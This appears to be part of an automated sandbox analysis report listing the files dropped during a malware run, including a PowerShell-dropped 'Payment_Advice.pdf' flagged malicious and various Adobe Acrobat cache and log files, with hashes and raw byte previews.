SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq8:2JIB/wUKUKQncEmYRTwh0A
MD5:	FBA1EBA67D48EFD6082412A4BC17A03F
SHA1:	1185C72E9E4C9943C88AFB941DA811AF18EBF96C
SHA-256:	6D3292221AC71FFDD57E4A861CF1D152D8F022DD39A455442A2573F9579A37AD
SHA-512:	04F4413C425C9EC1A152B8240DF32F34A3AEA9BFC8D64D3C534BE43DEA52CF509CF9072A311C41A0DF8E14946C8CE79C36E95B69F5B7B0DD201959471909DCA7
Malicious:	false
Reputation:	low
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd9fe882d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899680894856709
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	79BEF46783EF92BF264A68DF9419FD57
SHA1:	962A4F9713BBFEF0E8D5DB28260857C7F304BE72
SHA-256:	2E026480D67E5715E7C71FC77F35B9D84B4F2C6BFAE4DBC11344325887B33103
SHA-512:	E08DBDD9A33E479E3B99636E93D6E1EF968118B4CD426FC628E801B14439D1AE95A5B1C33AF8742E9044C2ADE4E75AACEF36BC3BE60287980D1C653B5AD5181E
Malicious:	false
Reputation:	low
Preview:	...-... ...............X\...;...{......................0.`.....42...{5......\|A.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................@.3e.....\|....................9D.....\|a..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08220881982324885
Encrypted:	false
SSDEEP:	3:9Dl/EYeeRpIkqNt/57Dek3JuYgIvollEqW3l/TjzzQ/t:3Ez8pIkqPR3tdgIQmd8/
MD5:	AD5AC5435094ACB44C002C278CF1AA80
SHA1:	3987FEABF118C51DA0658D17E6988CA9E33679DD
SHA-256:	C14E7058B09BD2AD36AC4F707D8D224072AC68E04AF937E98599784A7572F69D
SHA-512:	5D0B02E704C218597D917D0AB667F97F9FFEF19E4274A7DAB2436317776F39A673AEC36B8CDF2F3BC3376169680F4C64D881C060BA6FD4BE91A258CD7163F34B
Malicious:	false
Reputation:	low
Preview:	./.?.....................................;...{.......\|a.42...{5.........42...{5.42...{5...Y.42...{59..................9D.....\|a.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Payment_Advice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.4, 1 pages
Category:	dropped
Size (bytes):	502695
Entropy (8bit):	7.210153211803877
Encrypted:	false
SSDEEP:	6144:64zLGoksGfh1BpNxE/Tb4CvJLGOwSc/12r3Or/WBo8YFISKYPaA9nFw2N3eNCW1:6SiscDS/PvJSSW2rIF8YwYt9nFw2RLW1
MD5:	7FB38EC672E93118DE75747E60232837
SHA1:	32313AB4489CBC195637C8E3B62BDD799A54D1B7
SHA-256:	80E8B1A5F0008B00EE033242975E238B68127CBDE39ABB97CE7EC6147138AB94
SHA-512:	3E969865C47A16BF75B14D5C423CFA2D6BDB2F278F320EEAE3160C28C8D8A454F8AD97B936F4F08681A104321316A94EFA1D089F20F0AF22E1D591E474A1BBD8
Malicious:	true
Reputation:	low
Preview:	%PDF-1.4..%......1 0 obj..<<../Type /Page../MediaBox [ 0 0 595 842 ]../Resources << /XObject << /X0 3 0 R >> >>../Contents 4 0 R../Parent 2 0 R../Rotate 360..>>..endobj..3 0 obj..<<../Type /XObject../Subtype /Image../Width 2480../Height 3509../BitsPerComponent 8../ColorSpace /DeviceRGB../Filter /DCTDecode../Length 501818..>>..stream.......C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(...(...(...(...(...(...(...(...(...(...(...(...(...(..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.254765038789286
Encrypted:	false
SSDEEP:	6:DtVqM+q2PcNwi2nKuAl9OmbnIFUt86tkSZZmw+6t9MVkwOcNwi2nKuAl9OmbjLJ:DTqM+vLZHAahFUt866m/+63MV54ZHAae
MD5:	844D98E17F7347B5DF4EC5571829510F
SHA1:	C735F791546F3F8F43B6D0DD4CEEC32D7643BB36
SHA-256:	F9453BD15A83A8BF54B6D15F0BF43A220EFA216430200B7E07E52E4EF5D232A7
SHA-512:	C5E28F61DA34BED704D9AF73D8CCBFF2F92F306EA0DBF479136FD5BCBD5F557654444D977203465CDCD44E987D564E2360B0AA33895B294109C03790C903B8C6
Malicious:	false
Reputation:	low
Preview:	2024/05/01-15:17:08.909 b6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/05/01-15:17:08.910 b6c Recovering log #3.2024/05/01-15:17:08.911 b6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.254765038789286
Encrypted:	false
SSDEEP:	6:DtVqM+q2PcNwi2nKuAl9OmbnIFUt86tkSZZmw+6t9MVkwOcNwi2nKuAl9OmbjLJ:DTqM+vLZHAahFUt866m/+63MV54ZHAae
MD5:	844D98E17F7347B5DF4EC5571829510F
SHA1:	C735F791546F3F8F43B6D0DD4CEEC32D7643BB36
SHA-256:	F9453BD15A83A8BF54B6D15F0BF43A220EFA216430200B7E07E52E4EF5D232A7
SHA-512:	C5E28F61DA34BED704D9AF73D8CCBFF2F92F306EA0DBF479136FD5BCBD5F557654444D977203465CDCD44E987D564E2360B0AA33895B294109C03790C903B8C6
Malicious:	false
Reputation:	low
Preview:	2024/05/01-15:17:08.909 b6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/05/01-15:17:08.910 b6c Recovering log #3.2024/05/01-15:17:08.911 b6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.158101134701621
Encrypted:	false
SSDEEP:	6:DtQ+L+q2PcNwi2nKuAl9Ombzo2jMGIFUt86t1h/KWZmw+6t1hsLVkwOcNwi2nKuA:DG+L+vLZHAa8uFUt86fcW/+6f+LV54Zg
MD5:	B734EB51166A26337004AA60EE0C9657
SHA1:	7A9AA2DEB8480B5FE51B5C9D9C234EF1A7B0466A
SHA-256:	A9A32002BB03484253722834046DEE5C7746A8694EA2A44AFBFC6002906D2E47
SHA-512:	70A93E26662E755C0C092979DC2D09A069D8F5B5E28D4CCA2EB2CE1EE2540F687573152AA6C1E46B2550734A4A88B6A171B8A1422A98CF0F5BB7088560D99ECD
Malicious:	false
Preview:	2024/05/01-15:17:09.350 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/05/01-15:17:10.255 1ccc Recovering log #3.2024/05/01-15:17:10.256 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.158101134701621
Encrypted:	false
SSDEEP:	6:DtQ+L+q2PcNwi2nKuAl9Ombzo2jMGIFUt86t1h/KWZmw+6t1hsLVkwOcNwi2nKuA:DG+L+vLZHAa8uFUt86fcW/+6f+LV54Zg
MD5:	B734EB51166A26337004AA60EE0C9657
SHA1:	7A9AA2DEB8480B5FE51B5C9D9C234EF1A7B0466A
SHA-256:	A9A32002BB03484253722834046DEE5C7746A8694EA2A44AFBFC6002906D2E47
SHA-512:	70A93E26662E755C0C092979DC2D09A069D8F5B5E28D4CCA2EB2CE1EE2540F687573152AA6C1E46B2550734A4A88B6A171B8A1422A98CF0F5BB7088560D99ECD
Malicious:	false
Preview:	2024/05/01-15:17:09.350 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/05/01-15:17:10.255 1ccc Recovering log #3.2024/05/01-15:17:10.256 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b141779-8272-4dee-8709-72b82cd279c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF65e10e.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f852accf-f28f-4ae2-8d30-4d118b5cda62.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97540442432775
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZcOssBdOg2HYcaq3QYiubSpDyP7E4T3y:Y2sRdsIRdMHT3QYhbSpDa7nby
MD5:	8FEF4BD905474B359901BBFF50B979E7
SHA1:	F90EC0D6540D443BC03E0B224FF18DC3AD109650
SHA-256:	3F9536248316B24A9E30635A64A17FEB668BBAE213D061538B04145A5B738CF6
SHA-512:	64246E0C8BA7CA108D11EDEC6A6BF2B4B75DF60B55CF75B9BAC1AD3467FB6464271FDB1CE2CD941CB587F156A883200245D43DBD28BE67C59EEAC46109DE9E8A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13359129440655962","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":152570},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234188823330911
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPaDzDKzj:CwNw1GHqPySfkcigoO3h28ytPa3Dwj
MD5:	E2A8F7BE535B5C26E6F9478DA8FEF509
SHA1:	72E6255AC96E4AD10C5CF2007426E11C9D40615A
SHA-256:	B1722E74805375F4BFAB81AA66FF226A6B44EE79D5BEF2A4956AE9A72921F106
SHA-512:	E975EED158E43816E95EDEFE59B9AF9CCD9C4B17C634B609424032675BE7DDB09461BCE1214B586E1E916B3DE65C32496213FA7B35899FBB193F40D234F16CF0
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.137154002699195
Encrypted:	false
SSDEEP:	6:Dt1UpGpL+q2PcNwi2nKuAl9OmbzNMxIFUt86t1U1/KWZmw+6t1UEhLVkwOcNwi2v:DfUpGpL+vLZHAa8jFUt86fU1CW/+6fUt
MD5:	4CF6E63CAA83049C07404C395D86B8F3
SHA1:	8BB1BA6AD468BC0CB41DCAAFDDF4E2E65BF16723
SHA-256:	B58675F211F6F17B1CB98963B34BA2F7EBFD4480AD0237ABFC1E6BACDA63CB6F
SHA-512:	BA759D1F408C05E771485011DB57F81CF6E4B0EC7ABFABEC643FEFB4DF304BEF98AA82C88D4C0BFDD4D1EDAF045605A914EDF690148773D0903666B7047967C9
Malicious:	false
Preview:	2024/05/01-15:17:11.203 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/05/01-15:17:11.213 1ccc Recovering log #3.2024/05/01-15:17:11.214 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.137154002699195
Encrypted:	false
SSDEEP:	6:Dt1UpGpL+q2PcNwi2nKuAl9OmbzNMxIFUt86t1U1/KWZmw+6t1UEhLVkwOcNwi2v:DfUpGpL+vLZHAa8jFUt86fU1CW/+6fUt
MD5:	4CF6E63CAA83049C07404C395D86B8F3
SHA1:	8BB1BA6AD468BC0CB41DCAAFDDF4E2E65BF16723
SHA-256:	B58675F211F6F17B1CB98963B34BA2F7EBFD4480AD0237ABFC1E6BACDA63CB6F
SHA-512:	BA759D1F408C05E771485011DB57F81CF6E4B0EC7ABFABEC643FEFB4DF304BEF98AA82C88D4C0BFDD4D1EDAF045605A914EDF690148773D0903666B7047967C9
Malicious:	false
Preview:	2024/05/01-15:17:11.203 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/05/01-15:17:11.213 1ccc Recovering log #3.2024/05/01-15:17:11.214 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240501131714Z-209.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.801499700567787
Encrypted:	false
SSDEEP:	48:xQBSr4+zPafvHiSa53Ez8cADHjtcvfpb8gA5pamCedAYMlG+T0qlkPXwBjqaOCAG:xCSrDynPa504LXiKp5AY6G+DkPvaO5dE
MD5:	4A3A446C3981FC8A66F8C62BC09995F4
SHA1:	932C324118118494DEA7DE3A72411824E8EB00C3
SHA-256:	2A018093DE5ABF4099D4A4B381F370992416B49CFA3368F7D726888A85843F0F
SHA-512:	E05B4E860BECC71D1FBAF639AF7CD92765378EDE5F3F28A8DECBC62EE0D2FC91A3468A6D361589456036EDD6717AA676DCEEDE5A28D88A9E584287BEFF5CD503
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438750203444174
Encrypted:	false
SSDEEP:	384:yeaci5GNiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1hurVgazUpUTTGt
MD5:	23D04B9E6AD2A518249A2E10869D988C
SHA1:	6E013BBA76A08386C564AFBD6D69EB8D4A682770
SHA-256:	7489EC96DFB350A5A263658DA948EEA4A93D8050B0812AEBB342DB0499E2FE1C
SHA-512:	B581AF0CABC8B8CCF330C3A0205A0E5120233A2C7BB901A6496E7BF3D85605916AF4D3AE2B092F3F882EA47CEF73E84D15DE082DD50BEF8F0390E64D8D0A4F14
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.773158596797572
Encrypted:	false
SSDEEP:	48:7Mfp/E2ioyVnioy3DoWoy1CABoy1rKOioy1noy1AYoy1Wioy1hioybioyEoy1noK:7opjun0iAVXKQVyb9IVXEBodRBku
MD5:	237325B77D11F136284D6CE279475211
SHA1:	173671EC3E77CAEAD78AFBCFF1E5FFB38A90F4F2
SHA-256:	0FEC3C26DF27C42B94D2D6681C7907BF301F4A476E3EE8155013C55FFA3D5342
SHA-512:	DB4D4FC7C07FE59A9DF4D25DF61E95E3EFFCFCEB26579416653D868AA44BF73A9C6E12505DAC6D004C37437CCCCF0BA73628958F14E6B658A18273FF5D1AB9C5
Malicious:	false
Preview:	.... .c.....e..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4856

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367861633163029
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJM3g98kUwPeUkwRe9:YvXKXRKsdTeOGuGMbLUkee9
MD5:	07D1952DAEF87FC02FAEBBF6C010C5EF
SHA1:	08AF0EBEA025B455B240E20665610F7DF6970497
SHA-256:	C17E377CD6002F9EBF4FC6E2808A2EEC176CE1BFCD7FA03CD3C7CFAAC80937D0
SHA-512:	08A0CFDABEAF439C2D3B91BC11FB0803C6E6DC86AA9554211877695D08773C72B306BFE7483B8849AF49A4DC333CCC430ACD3BD543AE4BABD96B8DC82615F6FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

